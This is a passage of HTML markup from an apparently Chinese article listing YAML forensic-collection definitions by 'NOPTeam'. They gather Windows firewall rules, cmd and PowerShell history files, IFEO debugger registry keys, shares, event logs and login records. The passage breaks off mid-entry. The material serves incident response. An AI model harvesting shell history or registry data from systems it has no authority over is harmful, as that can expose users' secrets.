10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsFirewall</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">平台上防火墙的状态以及规则。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-NetFirewallProfile&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">netsh</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">advfirewall</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">show</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">allprofiles</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-NetFirewallRule | Where-Object { $_.Enabled -eq &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;True&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; }&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">netsh</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">advfirewall</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">firewall</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">show</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">rule</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">name=all</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上关于防火墙状态以及规则相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">History.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsCmdHistory</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">|-</span><span leaf=""><br/></span><span leaf="">  Windows 平台上 cmd 历史信息。</span><span leaf=""><br/></span><span leaf="">  cmd命令历史只能在未关闭的 cmd命令窗中进⾏查询，如果 cmd 窗⼝关闭，或未通过 cmd 命令窗进⾏的命令操作，是不会记录的。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">doskey</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/history</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsPSHistory</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">平台上</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Powershell</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">的历史记录。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-History&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">FILE</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          %%users_userprofile%%\AppData\Roaming\Microsoft\PowerShell\PSReadLine\ConsoleHost_history.txt</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          %%users_userprofile%%\\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</span><span leaf=""><br/></span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上的 cmd、 powershell 的历史记录，主要是 powershell 的历史记录</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">IFEOInject.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsIFEOInjection</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  Image File Execution Options (IFEO) 是一个 Windows 调试功能，而不是一个后门。IFEO</span><span leaf=""><br/></span><span leaf="">  的主要目的是允许开发人员调试和跟踪特定的可执行文件。</span><span leaf=""><br/></span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">IFEO</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">提供了一种机制，使开发人员能够将一个调试器程序关联到特定的可执行文件，并在执行该可执行文件时启动调试器。这对于开发、调试和分析应用程序非常有用。</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">当给定的可执行文件被启动时，操作系统会检查注册表中的</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">IFEO</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">设置。如果找到了对应的注册表项，系统会自动启动所配置的调试器程序，并将目标可执行文件作为参数传递给调试器。这样，开发人员就可以使用调试器来监视和分析目标应用程序的运行过程，以便调试和解决问题。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">REGISTRY_VALUE</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows</span><span leaf=""><br/></span><span leaf="">            NT\CurrentVersion\Image File Execution Options\*</span><span leaf=""><br/></span></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">debugger</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台 IFEO 相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">IPC.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsIPCShare&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;net&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;share&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上 IPC 共享信息收集。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上的 IPC 共享信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Log.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsLogs&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\System32\winevt\Logs\&#39;</span><span leaf=""><br/></span><span leaf="">version: &#39;</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;</span><span leaf=""><br/></span><span leaf="">doc: &#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">平台上日志信息。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上日志文件</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Login.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsLogin&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;query&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 